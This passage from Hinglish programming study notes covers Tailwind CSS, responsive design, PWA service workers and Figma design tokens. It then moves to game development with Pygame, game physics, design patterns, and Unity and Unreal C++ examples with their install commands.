.todo-list li.completed span { text-decoration: line-through; color: #999; }
.todo-list li input { margin-right: 0.5rem; }
.todo-list li button { margin-left: auto; }
.todo-stats { margin-top: 1rem; display: flex; gap: 1rem; }
</style>
```

4. TAILWIND CSS - UTILITY-FIRST CSS

>> What is Tailwind CSS

WHAT:

Tailwind CSS utility-first CSS framework hai jo pre-designed classes provide karta hai. Custom CSS likhne ki zaroorat nahi, bas classes use karni hoti hain.

KEY FEATURES:

* Utility-First - Small, reusable classes
* Responsive Design - Mobile-first breakpoints
* Dark Mode - Built-in dark mode support
* Customizable - Tailwind config file
* Purge CSS - Remove unused styles

>> Tailwind Installation

WHAT:

Tailwind CSS setup

COMMANDS:

```
# Install Tailwind CSS
npm install -D tailwindcss postcss autoprefixer
# Initialize Tailwind
npx tailwindcss init -p
# Configure content paths
// tailwind.config.js
module.exports = {
  content: ["./src/**/*.{js,jsx,ts,tsx}", "./public/index.html"],
  theme: { extend: {} },
  plugins: [],
}
# Add Tailwind directives to CSS
/* src/index.css */
@tailwind base;
@tailwind components;
@tailwind utilities;
```

>> Tailwind CSS Complete Guide

WHAT:

Complete Tailwind CSS utility classes

CODE:

```
<!-- Layout Classes -->
<div class="container mx-auto px-4">Container with margin auto</div>
<div class="flex flex-row justify-between items-center">Flexbox layout</div>
<div class="grid grid-cols-3 gap-4">CSS Grid with 3 columns</div>

<!-- Spacing -->
<div class="p-4">Padding: 1rem</div>
<div class="m-2">Margin: 0.5rem</div>
<div class="space-y-4">Vertical spacing between children</div>

<!-- Sizing -->
<div class="w-full h-32">Full width, 8rem height</div>
<div class="w-1/2">50% width</div>
<div class="max-w-lg">Maximum width large</div>

<!-- Typography -->
<h1 class="text-3xl font-bold text-center">Large heading</h1>
<p class="text-gray-600 leading-relaxed">Gray text with relaxed line height</p>
```

```
<span class="uppercase tracking-wide">Uppercase with wide tracking</span>

<!-- Colors -->
<div class="bg-blue-500 text-white">Blue background, white text</div>
<div class="border border-red-300">Red border</div>
<div class="shadow-lg">Large shadow</div>

<!-- Responsive Design -->
<div class="text-sm md:text-base lg:text-lg">Responsive text size</div>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3">Responsive grid</div>
<div class="block md:hidden">Show on mobile only</div>

<!-- Interactive -->
<button class="bg-blue-500 hover:bg-blue-700 active:bg-blue-800 focus:outline-none">
  Hover and active states
</button>

<!-- Dark Mode -->
<div class="bg-white dark:bg-gray-800 text-black dark:text-white">
  Dark mode compatible
</div>

<!-- Animation -->
<div class="animate-pulse">Pulsing animation</div>
<div class="animate-spin">Spinning animation</div>
<div class="transition duration-300 ease-in-out transform hover:scale-105">
  Hover scale transition
</div>

<!-- Complete Component Example -->
<div class="max-w-sm rounded overflow-hidden shadow-lg bg-white">
  <img class="w-full" src="image.jpg" alt="Card image">
  <div class="px-6 py-4">
    <div class="font-bold text-xl mb-2">Card Title</div>
    <p class="text-gray-700 text-base">
      Card description with Tailwind CSS classes.
    </p>
  </div>
  <div class="px-6 pt-4 pb-2">
    <span class="inline-block bg-gray-200 rounded-full px-3 py-1 text-sm font-semibold text-gray-700 mr-2 mb-2">
      #tag1
    </span>
    <span class="inline-block bg-gray-200 rounded-full px-3 py-1 text-sm font-semibold text-gray-700 mr-2 mb-2">
      #tag2
    </span>
  </div>
</div>
```

5. RESPONSIVE DESIGN AND PWA

>> Responsive Design Principles

WHAT:

Responsive design - websites that work on all screen sizes

PRINCIPLES:

* 1. Mobile First - Start with mobile design, then scale up
* 2. Fluid Grids - Use percentages, not fixed pixels
* 3. Flexible Images - max-width: 100%
* 4. Media Queries - Breakpoints for different devices
* 5. Viewport Meta Tag - Control layout on mobile
*
* Common Breakpoints:
* - Mobile: 320px - 480px
* - Tablet: 768px - 1024px
* - Desktop: 1024px - 1440px
* - Wide: 1440px+

>> Media Queries Guide

WHAT:

CSS media queries for responsive design

CODE:

```
/* Viewport meta tag in HTML */
<meta name="viewport" content="width=device-width, initial-scale=1.0">

/* Base styles (mobile first) */
.container { width: 100%; padding: 1rem; }
.grid { display: block; }
.card { margin-bottom: 1rem; }

/* Tablet styles (768px and up) */
@media (min-width: 768px) {
  .grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 1rem; }
  .container { max-width: 720px; margin: 0 auto; }
}

/* Desktop styles (1024px and up) */
@media (min-width: 1024px) {
  .grid { grid-template-columns: repeat(3, 1fr); }
  .container { max-width: 960px; }
}

/* Wide screen styles (1440px and up) */
@media (min-width: 1440px) {
  .container { max-width: 1200px; }
}

/* Print styles */
@media print {
  .no-print { display: none; }
  body { font-size: 12pt; }
}

/* Dark mode */
@media (prefers-color-scheme: dark) {
  body { background: #1a1a1a; color: #fff; }
}
```

```
/* Orientation */
@media (orientation: landscape) {
  .container { flex-direction: row; }
}

/* High resolution screens */
@media (min-resolution: 2dppx) {
  .logo { background-image: url('logo@2x.png'); }
}
```

>> Progressive Web Apps (PWA)

WHAT:

PWA web apps that work like native apps - offline support, push notifications, home screen installation

CODE:

```
// manifest.json - Web App Manifest
{
  "name": "My PWA App",
  "short_name": "PWA",
  "description": "A progressive web app",
  "start_url": "/",
  "display": "standalone",
  "theme_color": "#ffffff",
  "background_color": "#ffffff",
  "orientation": "portrait",
  "icons": [
    {
      "src": "/icons/icon-72x72.png",
      "sizes": "72x72",
      "type": "image/png"
    },
    {
      "src": "/icons/icon-192x192.png",
      "sizes": "192x192",
      "type": "image/png"
    },
    {
      "src": "/icons/icon-512x512.png",
      "sizes": "512x512",
      "type": "image/png",
      "purpose": "any maskable"
    }
  ]
}

// service-worker.js - Service Worker
const CACHE_NAME = 'my-pwa-cache-v1';
const urlsToCache = [
  '/',
  '/index.html',
  '/styles.css',
  '/app.js',
  '/offline.html'
];

// Install service worker
self.addEventListener('install', event => {
  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(cache => cache.addAll(urlsToCache))
  );
});

// Fetch from cache first, then network
```

```
self.addEventListener('fetch', event => {
  event.respondWith(
    caches.match(event.request)
      .then(response => {
        if (response) {
          return response;
        }
        return fetch(event.request);
      })
      .catch(() => {
        return caches.match('/offline.html');
      })
  );
});

// Activate and clean old caches
self.addEventListener('activate', event => {
  event.waitUntil(
    caches.keys().then(cacheNames => {
      return Promise.all(
        cacheNames.map(cache => {
          if (cache !== CACHE_NAME) {
            return caches.delete(cache);
          }
        })
      );
    })
  );
});

// Register service worker in main app
if ('serviceWorker' in navigator) {
  window.addEventListener('load', () => {
    navigator.serviceWorker.register('/service-worker.js')
      .then(registration => {
        console.log('SW registered:', registration);
      })
      .catch(error => {
        console.log('SW registration failed:', error);
      });
  });
}

// Install prompt
let deferredPrompt;
window.addEventListener('beforeinstallprompt', (e) => {
  e.preventDefault();
  deferredPrompt = e;
  document.getElementById('install-btn').style.display = 'block';

  document.getElementById('install-btn').addEventListener('click', () => {
    deferredPrompt.prompt();
    deferredPrompt.userChoice.then(choice => {
      if (choice.outcome === 'accepted') {
        console.log('User accepted install');
      }
      deferredPrompt = null;
    });
  });
});
```

6. FIGMA TO CODE WORKFLOW

>> Figma to Code Process

WHAT:

Figma design se code me convert karne ka process

STEPS:

* 1. Design Analysis - Understand layout, spacing, colors, typography
* 2. Extract Design Tokens - Colors, fonts, spacing values
* 3. CSS Variables Setup - Create global CSS variables
* 4. Component Breakdown - Identify reusable components
* 5. Responsive Plan - Define breakpoints
* 6. Implementation - Convert to HTML/CSS/JS
* 7. Testing - Cross-browser, responsive testing

>> CSS Variables for Design Tokens

WHAT:

Extracting design tokens from Figma

CODE:

```
:root {
  /* Colors from Figma */
  --primary: #6366f1;
  --primary-dark: #4f46e5;
  --secondary: #ec489a;
  --success: #10b981;
  --warning: #f59e0b;
  --danger: #ef4444;
  --gray-50: #f9fafb;
  --gray-100: #f3f4f6;
  --gray-200: #e5e7eb;
  --gray-300: #d1d5db;
  --gray-400: #9ca3af;
  --gray-500: #6b7280;
  --gray-600: #4b5563;
  --gray-700: #374151;
  --gray-800: #1f2937;
  --gray-900: #111827;

  /* Typography */
  --font-sans: system-ui, -apple-system, 'Segoe UI', Roboto, Helvetica, Arial;
  --font-serif: Georgia, Cambria, 'Times New Roman';
  --font-mono: 'SF Mono', Monaco, Consolas;

  /* Font sizes */
  --text-xs: 0.75rem;
  --text-sm: 0.875rem;
  --text-base: 1rem;
  --text-lg: 1.125rem;
  --text-xl: 1.25rem;
  --text-2xl: 1.5rem;
  --text-3xl: 1.875rem;
  --text-4xl: 2.25rem;

  /* Spacing */
  --spacing-1: 0.25rem;
  --spacing-2: 0.5rem;
  --spacing-3: 0.75rem;
  --spacing-4: 1rem;
  --spacing-6: 1.5rem;
```

```
  --spacing-8: 2rem;
  --spacing-12: 3rem;
  --spacing-16: 4rem;

  /* Shadows */
  --shadow-sm: 0 1px 2px 0 rgb(0 0 0 / 0.05);
  --shadow-md: 0 4px 6px -1px rgb(0 0 0 / 0.1);
  --shadow-lg: 0 10px 15px -3px rgb(0 0 0 / 0.1);
  --shadow-xl: 0 20px 25px -5px rgb(0 0 0 / 0.1);

  /* Border radius */
  --radius-sm: 0.25rem;
  --radius-md: 0.375rem;
  --radius-lg: 0.5rem;
  --radius-xl: 0.75rem;
  --radius-2xl: 1rem;
  --radius-full: 9999px;
}

/* Dark mode overrides */
@media (prefers-color-scheme: dark) {
  :root {
    --gray-50: #111827;
    --gray-100: #1f2937;
    --gray-200: #374151;
    --gray-800: #f3f4f6;
    --gray-900: #f9fafb;
  }
}
```

Game Development Complete Guide

Unity, Unreal, Pygame, Physics, Design Patterns, 3D Modeling

Generated: 23-March-2026

1. PYTHON GAME DEVELOPMENT WITH PYGAME

>> What is Pygame

WHAT:

Pygame Python ka library hai jo 2D game development ke liye use hota hai. Isme graphics, sound, input handling sab built-in hai. Beginners ke liye best hai game development seekhne ke liye.

KEY FEATURES:

* Simple 2D graphics rendering
* Sprite and animation support
* Keyboard, mouse, joystick input
* Sound and music playback
* Collision detection
* Game loops and timing

>> Pygame Installation on Linux

WHAT:

Pygame install karna aur setup

COMMANDS:

```
# Install pip if not installed
sudo apt update
sudo apt install python3-pip python3-dev -y
# Install Pygame
pip3 install pygame
# Install additional dependencies for sound
sudo apt install libsdl2-mixer-2.0-0 libsdl2-image-2.0-0 libsdl2-ttf-2.0-0 -y
# Verify installation
python3 -c "import pygame; print(pygame.version.ver)"
```

>> Complete Pygame Game - Space Shooter

WHAT:

Complete 2D space shooter game with player, enemies, bullets

CODE:

```
import pygame
import random
import math

# Initialize Pygame
pygame.init()

# Constants
SCREEN_WIDTH = 800
SCREEN_HEIGHT = 600
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
RED = (255, 0, 0)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)

# Setup screen
screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
pygame.display.set_caption("Space Shooter")
clock = pygame.time.Clock()

# Player class
class Player:
    def __init__(self):
```

```
        self.image = pygame.Surface((50, 50))
        self.image.fill(GREEN)
        self.rect = self.image.get_rect()
        self.rect.centerx = SCREEN_WIDTH // 2
        self.rect.bottom = SCREEN_HEIGHT - 50
        self.speed = 5
        self.bullets = []
        self.last_shot = 0
        self.shoot_delay = 250  # milliseconds

    def update(self):
        # Movement
        keys = pygame.key.get_pressed()
        if keys[pygame.K_LEFT] and self.rect.left > 0:
            self.rect.x -= self.speed
        if keys[pygame.K_RIGHT] and self.rect.right < SCREEN_WIDTH:
            self.rect.x += self.speed
        if keys[pygame.K_UP] and self.rect.top > 0:
            self.rect.y -= self.speed
        if keys[pygame.K_DOWN] and self.rect.bottom < SCREEN_HEIGHT:
            self.rect.y += self.speed

        # Shooting
        if keys[pygame.K_SPACE]:
            current_time = pygame.time.get_ticks()
            if current_time - self.last_shot > self.shoot_delay:
                self.shoot()
                self.last_shot = current_time

    def shoot(self):
        bullet = Bullet(self.rect.centerx, self.rect.top)
        self.bullets.append(bullet)

    def draw(self):
        screen.blit(self.image, self.rect)
        for bullet in self.bullets:
            bullet.draw()

# Bullet class
class Bullet:
    def __init__(self, x, y):
        self.image = pygame.Surface((5, 10))
        self.image.fill(WHITE)
        self.rect = self.image.get_rect()
        self.rect.centerx = x
        self.rect.bottom = y
        self.speed = 7

    def update(self):
        self.rect.y -= self.speed
        return self.rect.bottom > 0

    def draw(self):
        screen.blit(self.image, self.rect)

# Enemy class
class Enemy:
    def __init__(self):
        self.image = pygame.Surface((40, 40))
        self.image.fill(RED)
        self.rect = self.image.get_rect()
        self.rect.x = random.randint(0, SCREEN_WIDTH - self.rect.width)
        self.rect.y = random.randint(-100, -40)
        self.speed = random.randint(2, 5)

    def update(self):
```

```
        self.rect.y += self.speed
        return self.rect.top < SCREEN_HEIGHT

    def draw(self):
        screen.blit(self.image, self.rect)

# Powerup class
class PowerUp:
    def __init__(self, x, y):
        self.image = pygame.Surface((20, 20))
        self.image.fill(BLUE)
        self.rect = self.image.get_rect()
        self.rect.centerx = x
        self.rect.centery = y
        self.speed = 3

    def update(self):
        self.rect.y += self.speed
        return self.rect.top < SCREEN_HEIGHT

    def draw(self):
        screen.blit(self.image, self.rect)

# Particle system for explosions
class Particle:
    def __init__(self, x, y):
        self.x = x
        self.y = y
        self.vx = random.uniform(-5, 5)
        self.vy = random.uniform(-5, 5)
        self.lifetime = 30
        self.size = random.randint(2, 5)

    def update(self):
        self.x += self.vx
        self.y += self.vy
        self.lifetime -= 1
        return self.lifetime > 0

    def draw(self):
        pygame.draw.circle(screen, RED, (int(self.x), int(self.y)), self.size)

# Game variables
player = Player()
enemies = []
particles = []
score = 0
lives = 3
enemy_spawn_timer = 0
font = pygame.font.Font(None, 36)
running = True

# Game loop
while running:
    # Event handling
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False

    # Spawn enemies
    enemy_spawn_timer += 1
    if enemy_spawn_timer > 60:
        enemies.append(Enemy())
        enemy_spawn_timer = 0

    # Update player
```

```
    player.update()

    # Update bullets
    player.bullets = [b for b in player.bullets if b.update()]

    # Update enemies
    enemies = [e for e in enemies if e.update()]

    # Update particles
    particles = [p for p in particles if p.update()]

    # Collision detection
    for bullet in player.bullets[:]:
        for enemy in enemies[:]:
            if bullet.rect.colliderect(enemy.rect):
                player.bullets.remove(bullet)
                enemies.remove(enemy)
                score += 10
                # Create explosion particles
                for _ in range(10):
                    particles.append(Particle(enemy.rect.centerx, enemy.rect.centery))
                break

    # Player-enemy collision
    for enemy in enemies[:]:
        if player.rect.colliderect(enemy.rect):
            enemies.remove(enemy)
            lives -= 1
            for _ in range(20):
                particles.append(Particle(player.rect.centerx, player.rect.centery))
            if lives <= 0:
                running = False

    # Draw everything
    screen.fill(BLACK)
    player.draw()
    for enemy in enemies:
        enemy.draw()
    for particle in particles:
        particle.draw()

    # Draw UI
    score_text = font.render(f"Score: {score}", True, WHITE)
    lives_text = font.render(f"Lives: {lives}", True, WHITE)
    screen.blit(score_text, (10, 10))
    screen.blit(lives_text, (10, 50))

    pygame.display.flip()
    clock.tick(60)

pygame.quit()
```

2. GAME PHYSICS

>> Physics Fundamentals

WHAT:

Game physics - movement, collision, gravity, projectile motion

CODE:

```
import pygame
import math

# Basic Movement Physics
class PhysicsObject:
    def __init__(self, x, y, mass=1.0):
        self.x = x
        self.y = y
        self.vx = 0
        self.vy = 0
        self.ax = 0
        self.ay = 0
        self.mass = mass
        self.friction = 0.98

    def apply_force(self, fx, fy):
        # F = ma -> a = F/m
        self.ax += fx / self.mass
        self.ay += fy / self.mass

    def update(self, dt=1/60):
        # Euler integration
        self.vx += self.ax * dt
        self.vy += self.ay * dt
        self.x += self.vx * dt
        self.y += self.vy * dt

        # Apply friction
        self.vx *= self.friction
        self.vy *= self.friction

        # Reset acceleration
        self.ax = 0
        self.ay = 0

# Gravity Simulation
class GravityBody(PhysicsObject):
    def __init__(self, x, y, mass, radius):
        super().__init__(x, y, mass)
        self.radius = radius

    def apply_gravity(self, other):
        G = 6.67430e-11  # Gravitational constant
        dx = other.x - self.x
        dy = other.y - self.y
        distance = math.sqrt(dx*dx + dy*dy)
        if distance < 0.1:
            return
        force = G * self.mass * other.mass / (distance * distance)
        angle = math.atan2(dy, dx)
        fx = force * math.cos(angle)
        fy = force * math.sin(angle)
        self.apply_force(fx, fy)

# Projectile Motion
class Projectile:
    def __init__(self, x, y, angle, speed, gravity=9.8):
```

```
        self.x = x
        self.y = y
        self.vx = speed * math.cos(math.radians(angle))
        self.vy = -speed * math.sin(math.radians(angle))  # Negative for upward
        self.gravity = gravity
        self.time = 0

    def update(self, dt=1/60):
        self.time += dt
        self.x += self.vx * dt
        self.y += self.vy * dt + 0.5 * self.gravity * dt * dt
        self.vy += self.gravity * dt
        return self.y > 0  # Return True if still above ground

    def get_position_at_time(self, t):
        x = self.x + self.vx * t
        y = self.y + self.vy * t + 0.5 * self.gravity * t * t
        return x, y

# Collision Detection
class CollisionSystem:
    @staticmethod
    def circle_circle(c1_x, c1_y, r1, c2_x, c2_y, r2):
        distance = math.hypot(c1_x - c2_x, c1_y - c2_y)
        return distance < r1 + r2

    @staticmethod
    def circle_rect(c_x, c_y, c_r, rect):
        closest_x = max(rect.x, min(c_x, rect.x + rect.width))
        closest_y = max(rect.y, min(c_y, rect.y + rect.height))
        dx = c_x - closest_x
        dy = c_y - closest_y
        return (dx * dx + dy * dy) < c_r * c_r

    @staticmethod
    def rect_rect(r1, r2):
        return (r1.x < r2.x + r2.width and
                r1.x + r1.width > r2.x and
                r1.y < r2.y + r2.height and
                r1.y + r1.height > r2.y)

    @staticmethod
    def resolve_collision(obj1, obj2):
        # Simple elastic collision response
        dx = obj1.x - obj2.x
        dy = obj1.y - obj2.y
        distance = math.hypot(dx, dy)
        if distance < 0.01:
            return

        # Normalize
        nx = dx / distance
        ny = dy / distance

        # Relative velocity
        vx_rel = obj1.vx - obj2.vx
        vy_rel = obj1.vy - obj2.vy

        # Coefficient of restitution (bounciness)
        e = 0.8

        # Calculate impulse
        impulse = (1 + e) * (vx_rel * nx + vy_rel * ny)
        impulse /= (1/obj1.mass + 1/obj2.mass)

        # Apply impulse
```

```
        obj1.vx -= impulse * nx / obj1.mass
        obj1.vy -= impulse * ny / obj1.mass
        obj2.vx += impulse * nx / obj2.mass
        obj2.vy += impulse * ny / obj2.mass
```

3. GAME DESIGN PATTERNS

>> Essential Game Design Patterns

WHAT:

Game development me use hone wale important design patterns

DESIGN PATTERNS:

```
* 1. Singleton Pattern:
*    - One instance of game manager, audio manager, etc.
*    - Global access point
*
* 2. State Pattern:
*    - Game states: Menu, Playing, Paused, Game Over
*    - Character states: Idle, Running, Jumping, Attacking
*
* 3. Observer Pattern:
*    - Event system for game events
*    - Achievements, UI updates, score events
*
* 4. Component Pattern:
*    - Entity-Component-System (ECS) architecture
*    - Game objects composed of components
*
* 5. Object Pool Pattern:
*    - Reuse objects (bullets, particles) instead of creating/destroying
*    - Performance optimization
*
* 6. Command Pattern:
*    - Input handling, undo/redo
*    - AI decision making
*
* 7. Factory Pattern:
*    - Creating different types of enemies, power-ups, levels
*
* 8. Strategy Pattern:
*    - Different AI behaviors, attack patterns
```

>> Singleton Pattern Implementation

WHAT:

Game Manager as Singleton

CODE:

```
class GameManager:
    _instance = None

    def __new__(cls):
        if cls._instance is None:
            cls._instance = super().__new__(cls)
            cls._instance._initialized = False
        return cls._instance

    def __init__(self):
        if self._initialized:
            return
        self.score = 0
```

```
        self.lives = 3
        self.level = 1
        self.game_state = "MENU"
        self._initialized = True

    def add_score(self, points):
        self.score += points
        self._notify_observers("score_changed", self.score)

    def lose_life(self):
        self.lives -= 1
        self._notify_observers("lives_changed", self.lives)
        if self.lives <= 0:
            self.game_state = "GAME_OVER"
            self._notify_observers("game_over", None)

    def _notify_observers(self, event, data):
        # Observer pattern inside
        pass

# Usage
game = GameManager()
game2 = GameManager()
print(game is game2)  # True
```

>> State Pattern Implementation

WHAT:

Game state management

CODE:

```
from abc import ABC, abstractmethod

class GameState(ABC):
    @abstractmethod
    def handle_input(self, event):
        pass

    @abstractmethod
    def update(self):
        pass

    @abstractmethod
    def draw(self, screen):
        pass

class MenuState(GameState):
    def handle_input(self, event):
        if event.type == pygame.KEYDOWN and event.key == pygame.K_RETURN:
            return PlayingState()
        return self

    def update(self):
        pass

    def draw(self, screen):
        screen.fill((0, 0, 0))
        font = pygame.font.Font(None, 74)
        text = font.render("SPACE SHOOTER", True, (255, 255, 255))
        screen.blit(text, (200, 200))

class PlayingState(GameState):
    def __init__(self):
        self.player = Player()
        self.enemies = []
```

```
    def handle_input(self, event):
        if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:
            return PausedState(self)
        return self

    def update(self):
        self.player.update()
        for enemy in self.enemies:
            enemy.update()

    def draw(self, screen):
        self.player.draw(screen)
        for enemy in self.enemies:
            enemy.draw(screen)

class PausedState(GameState):
    def __init__(self, previous_state):
        self.previous_state = previous_state

    def handle_input(self, event):
        if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:
            return self.previous_state
        return self

    def update(self):
        pass

    def draw(self, screen):
        self.previous_state.draw(screen)
        font = pygame.font.Font(None, 74)
        text = font.render("PAUSED", True, (255, 255, 255))
        screen.blit(text, (300, 250))

class GameOverState(GameState):
    def handle_input(self, event):
        if event.type == pygame.KEYDOWN and event.key == pygame.K_RETURN:
            return MenuState()
        return self

    def update(self):
        pass

    def draw(self, screen):
        screen.fill((0, 0, 0))
        font = pygame.font.Font(None, 74)
        text = font.render("GAME OVER", True, (255, 0, 0))
        screen.blit(text, (250, 200))
```

>> Object Pool Pattern

WHAT:

Object pool for bullets and particles

CODE:

```
class ObjectPool:
    def __init__(self, class_type, size):
        self.class_type = class_type
        self.pool = []
        self.active = []
        for _ in range(size):
            self.pool.append(class_type())

    def acquire(self):
        if self.pool:
            obj = self.pool.pop()
            self.active.append(obj)
```

```
            return obj
        return None

    def release(self, obj):
        if obj in self.active:
            self.active.remove(obj)
            self.pool.append(obj)
            obj.reset()

    def update_active(self):
        for obj in self.active[:]:
            if not obj.is_active():
                self.release(obj)

class Bullet:
    def __init__(self):
        self.active = False
        self.x = 0
        self.y = 0
        self.speed = 10

    def fire(self, x, y):
        self.x = x
        self.y = y
        self.active = True

    def update(self):
        if self.active:
            self.y -= self.speed
            if self.y < 0:
                self.active = False

    def is_active(self):
        return self.active

    def reset(self):
        self.active = False

# Usage in game
bullet_pool = ObjectPool(Bullet, 100)

# When player shoots
bullet = bullet_pool.acquire()
if bullet:
    bullet.fire(player.x, player.y)
```

4. UNITY (C#) - LINUX SETUP

>> Unity Installation on Linux

WHAT:

Unity game engine installation on Linux

COMMANDS:

```
# Install Unity Hub
wget -qO - https://hub.unity3d.com/linux/keys/public | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/unityhub.gpg > /dev/null
sudo sh -c 'echo "deb https://hub.unity3d.com/linux/repos/deb stable main" > /etc/apt/sources.list.d/unityhub.list'
sudo apt update
sudo apt install unityhub -y
# Or download directly
wget https://public-cdn.cloud.unity3d.com/hub/prod/UnityHubSetup.AppImage
chmod +x UnityHubSetup.AppImage
./UnityHubSetup.AppImage
# Install Mono for C# support
sudo apt install mono-complete -y
# Install VS Code for C# editing
sudo snap install --classic code
# Install .NET SDK
wget https://packages.microsoft.com/config/ubuntu/22.04/packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo apt update
sudo apt install dotnet-sdk-6.0 -y
```

>> Unity C# Game Script

WHAT:

Unity C# scripts for player movement and game mechanics

CODE:

```
// PlayerController.cs - Player movement script
using UnityEngine;

public class PlayerController : MonoBehaviour
{
    [Header("Movement Settings")]
    public float moveSpeed = 5f;
    public float jumpForce = 10f;

    [Header("Ground Check")]
    public Transform groundCheck;
    public float groundCheckRadius = 0.2f;
    public LayerMask groundLayer;

    private Rigidbody2D rb;
    private bool isGrounded;
    private float moveInput;

    void Start()
    {
        rb = GetComponent<Rigidbody2D>();
    }

    void Update()
    {
        // Get input
        moveInput = Input.GetAxisRaw("Horizontal");

        // Jump input
        if (Input.GetButtonDown("Jump") && isGrounded)
```

```
        {
            rb.velocity = new Vector2(rb.velocity.x, jumpForce);
        }
    }

    void FixedUpdate()
    {
        // Movement
        rb.velocity = new Vector2(moveInput * moveSpeed, rb.velocity.y);

        // Ground check
        isGrounded = Physics2D.OverlapCircle(groundCheck.position, groundCheckRadius, groundLayer);
    }
}

// EnemyAI.cs - Basic enemy AI
using UnityEngine;

public class EnemyAI : MonoBehaviour
{
    public float moveSpeed = 2f;
    public float detectionRange = 5f;
    public Transform player;

    private Rigidbody2D rb;
    private Vector2 movement;

    void Start()
    {
        rb = GetComponent<Rigidbody2D>();
        player = GameObject.FindGameObjectWithTag("Player").transform;
    }

    void Update()
    {
        float distanceToPlayer = Vector2.Distance(transform.position, player.position);

        if (distanceToPlayer < detectionRange)
        {
            // Chase player
            Vector2 direction = (player.position - transform.position).normalized;
            movement = direction * moveSpeed;
        }
        else
        {
            movement = Vector2.zero;
        }
    }

    void FixedUpdate()
    {
        rb.velocity = movement;
    }
}

// HealthSystem.cs - Health management
using UnityEngine;
using UnityEngine.Events;

public class HealthSystem : MonoBehaviour
{
    [Header("Health Settings")]
    public int maxHealth = 100;
    public int currentHealth;

    [Header("Events")]
```

```
    public UnityEvent onDamage;
    public UnityEvent onDeath;
    public UnityEvent onHealthChanged;

    void Start()
    {
        currentHealth = maxHealth;
    }

    public void TakeDamage(int damage)
    {
        currentHealth -= damage;
        onDamage?.Invoke();
        onHealthChanged?.Invoke();

        if (currentHealth <= 0)
        {
            Die();
        }
    }

    public void Heal(int amount)
    {
        currentHealth = Mathf.Min(currentHealth + amount, maxHealth);
        onHealthChanged?.Invoke();
    }

    void Die()
    {
        onDeath?.Invoke();
        Destroy(gameObject);
    }
}
```

5. UNREAL ENGINE (C++) - BASICS

>> Unreal Engine Setup

WHAT:

Unreal Engine installation and C++ setup

COMMANDS:

```
# Install Epic Games Launcher (via Wine or native)
# For native Linux, download from Epic Games website
# Install prerequisites
sudo apt update
sudo apt install build-essential clang-12 lld-12 -y
# Download Unreal Engine source (requires GitHub account linked)
git clone https://github.com/EpicGames/UnrealEngine.git
cd UnrealEngine
./Setup.sh
./GenerateProjectFiles.sh
make
# Install Rider for C++ (recommended)
sudo snap install rider --classic
# Or use VS Code with C++ extensions
code --install-extension ms-vscode.cpptools
code --install-extension ms-vscode.cmake-tools
```

>> Unreal C++ Game Code

WHAT:

Unreal Engine C++ game code examples

CODE:

```
// MyCharacter.h
#pragma once

#include "CoreMinimal.h"
#include "GameFramework/Character.h"
#include "MyCharacter.generated.h"

UCLASS()
class MYGAME_API AMyCharacter : public ACharacter
{
    GENERATED_BODY()

public:
    AMyCharacter();

protected:
    virtual void BeginPlay() override;
    virtual void Tick(float DeltaTime) override;
    virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;

    // Movement functions
    void MoveForward(float Value);
    void MoveRight(float Value);
    void LookUp(float Value);
    void Turn(float Value);
    void Jump();

    // Weapon functions
    UFUNCTION()
    void StartFire();
    UFUNCTION()
    void StopFire();
```

```
private:
    // Camera component
    UPROPERTY(VisibleAnywhere, Category = "Camera")
    class UCameraComponent* CameraComponent;

    // Health property
    UPROPERTY(EditAnywhere, Category = "Health")
    float Health;

    // Weapon component
    UPROPERTY(EditAnywhere, Category = "Weapon")
    TSubclassOf<class AWeapon> WeaponClass;

    class AWeapon* CurrentWeapon;

    // Fire timer
    FTimerHandle FireTimer;

    void Fire();
};

// MyCharacter.cpp
#include "MyCharacter.h"
#include "Camera/CameraComponent.h"
#include "GameFramework/SpringArmComponent.h"
#include "Components/InputComponent.h"
#include "Engine/World.h"
#include "TimerManager.h"

AMyCharacter::AMyCharacter()
{
    PrimaryActorTick.bCanEverTick = true;

    // Create spring arm for camera
    SpringArmComponent = CreateDefaultSubobject<USpringArmComponent>(TEXT("SpringArm"));
    SpringArmComponent->SetupAttachment(RootComponent);
    SpringArmComponent->TargetArmLength = 300.0f;

    // Create camera
    CameraComponent = CreateDefaultSubobject<UCameraComponent>(TEXT("Camera"));
    CameraComponent->SetupAttachment(SpringArmComponent);

    Health = 100.0f;
}

void AMyCharacter::BeginPlay()
{
    Super::BeginPlay();

    // Spawn weapon
    if (WeaponClass)
    {
        FActorSpawnParameters SpawnParams;
        SpawnParams.SpawnCollisionHandlingOverride = ESpawnActorCollisionHandlingMethod::AlwaysSpawn;
        CurrentWeapon = GetWorld()->SpawnActor<AWeapon>(WeaponClass, SpawnParams);
        if (CurrentWeapon)
        {
                        CurrentWeapon->AttachToComponent(GetMesh(),  FAttachmentTransformRules::SnapToTargetNotIncludingScale,
TEXT("WeaponSocket"));
        }
    }
}

void AMyCharacter::Tick(float DeltaTime)
{
    Super::Tick(DeltaTime);
```

```
}

void AMyCharacter::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent)
{
    Super::SetupPlayerInputComponent(PlayerInputComponent);

    // Movement bindings
    PlayerInputComponent->BindAxis("MoveForward", this, &AMyCharacter::MoveForward);
    PlayerInputComponent->BindAxis("MoveRight", this, &AMyCharacter::MoveRight);
    PlayerInputComponent->BindAxis("LookUp", this, &AMyCharacter::LookUp);
    PlayerInputComponent->BindAxis("Turn", this, &AMyCharacter::Turn);

    // Action bindings
    PlayerInputComponent->BindAction("Jump", IE_Pressed, this, &AMyCharacter::Jump);
    PlayerInputComponent->BindAction("Jump", IE_Released, this, &ACharacter::StopJumping);
    PlayerInputComponent->BindAction("Fire", IE_Pressed, this, &AMyCharacter::StartFire);
    PlayerInputComponent->BindAction("Fire", IE_Released, this, &AMyCharacter::StopFire);
}

void AMyCharacter::MoveForward(float Value)
{
    if (Value != 0.0f)
    {
        AddMovementInput(GetActorForwardVector(), Value);
    }
}

